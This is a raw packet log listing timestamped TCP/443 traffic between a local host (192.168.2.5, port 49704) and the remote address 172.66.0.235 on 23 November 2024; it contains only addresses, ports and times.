Nov 23, 2024 13:38:05.101424932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.101473093 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.101491928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.101516008 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.103832960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.103880882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.103904009 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.103918076 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.103954077 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.107978106 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.119705915 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.280124903 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.280199051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.280227900 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.280260086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.280289888 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.280426979 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.282285929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.282332897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.282361984 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.282375097 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.282399893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.282417059 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.283992052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.284039021 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.284070015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.284080982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.284106016 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.284122944 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.286439896 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.286484957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.286653996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.286653996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.286669016 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.286760092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.288801908 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.288856030 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.288873911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.288885117 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.288929939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.288929939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.291287899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.291347980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.291357040 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.291378021 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.291444063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.291444063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.293411970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.293458939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.293495893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.293512106 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.293540001 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.293560028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.294878960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.295257092 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.295334101 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.295350075 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.295361042 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.295396090 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.295414925 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.312607050 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.472343922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.472407103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.472461939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.472491980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.472528934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.472549915 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.474124908 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.474174023 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.474205017 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.474226952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.474288940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.474288940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.476824045 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.476871014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.476910114 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.476927042 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.476958036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.476979017 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.478488922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.478534937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.478578091 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.478589058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.478636026 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.478656054 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.480768919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.480813026 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.480853081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.480865002 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.480895042 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.480911970 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.483247995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.483294010 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.483340979 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.483360052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.483382940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.483402967 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.485060930 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.485110044 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.485138893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.485151052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.485178947 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.485198975 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.486109018 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.486162901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.488297939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.488343000 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.488377094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.488388062 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.488415956 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.489703894 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.665064096 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.665131092 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.665214062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.665245056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.665273905 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.665294886 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.666979074 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.667021990 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.667058945 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.667069912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.667097092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.667121887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.669477940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.669522047 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.669553041 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.669564009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.669589996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.669609070 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.671338081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.671386957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.671406984 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.671417952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.671446085 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.671468019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.673547983 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.673594952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.673624039 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.673635006 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.673662901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.673681974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.676424980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.676467896 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.676506996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.676517963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.676556110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.676577091 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.678179979 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.678224087 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.678258896 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.678271055 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.678303957 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.678319931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.680664062 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.680713892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.680759907 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.680773020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.680798054 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.680839062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.681616068 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.856961012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.857013941 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.857065916 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.857109070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.857136011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.857156038 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.859395027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.859442949 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.859471083 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.859484911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.859510899 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.859529018 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.861097097 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.861115932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.861155987 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.861167908 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.861195087 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.861215115 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.863554001 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.863573074 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.863629103 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.863642931 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.863698006 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.865870953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.865899086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.865947008 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.865957975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.865983963 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.866003990 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.868330956 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.868350983 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.868393898 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.868405104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.868434906 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.868454933 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.870138884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.870157957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.870207071 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.870218992 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.870245934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.870261908 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.872320890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.872340918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.872395039 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.872410059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:05.872457027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:05.918984890 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.049047947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.049077988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.049112082 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.049149036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.049177885 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.049196005 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.050982952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.051003933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.051033020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.051044941 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.051071882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.051089048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.053421021 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.053442955 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.053482056 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.053508043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.053539038 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.053555965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.055151939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.055171013 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.055216074 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.055227041 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.055274010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.055274010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.057665110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.057687998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.057766914 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.057766914 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.057780981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.057828903 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.060086966 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.060106039 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.060156107 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.060167074 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.060197115 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.060218096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.061849117 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.061866999 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.061912060 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.061925888 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.061961889 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.061980963 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.064666986 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.064687014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.064729929 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.064740896 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.064779043 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.064796925 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.241045952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.241077900 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.241127014 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.241175890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.241206884 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.241225958 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.243175030 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.243195057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.243237019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.243248940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.243277073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.243295908 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.245677948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.245698929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.245769024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.245781898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.245835066 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.247436047 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.247457027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.247518063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.247529984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.247559071 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.247575998 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.250828028 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.250870943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.250936985 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.250936985 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.250965118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.250999928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.252686024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.252727985 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.252765894 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.252778053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.252832890 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.252832890 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.254430056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.254481077 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.254489899 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.254509926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.254550934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.254550934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.256530046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.256593943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.256607056 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.256618977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.256674051 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.256674051 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.327214956 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.432909012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.432938099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.433053017 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.433084965 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.433140993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.435302973 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.435332060 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.435367107 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.435380936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.435408115 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.435429096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.437863111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.437906981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.437926054 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.437937975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.437968016 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.437987089 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.439683914 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.439728022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.439765930 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.439778090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.439801931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.439825058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.441781044 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.441823006 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.441864014 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.441881895 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.441904068 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.441927910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.445218086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.445260048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.445301056 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.445312977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.445338964 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.445355892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:06.446367979 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:06.446410894 CET	443	49704	172.66.0.235	192.168.2.5
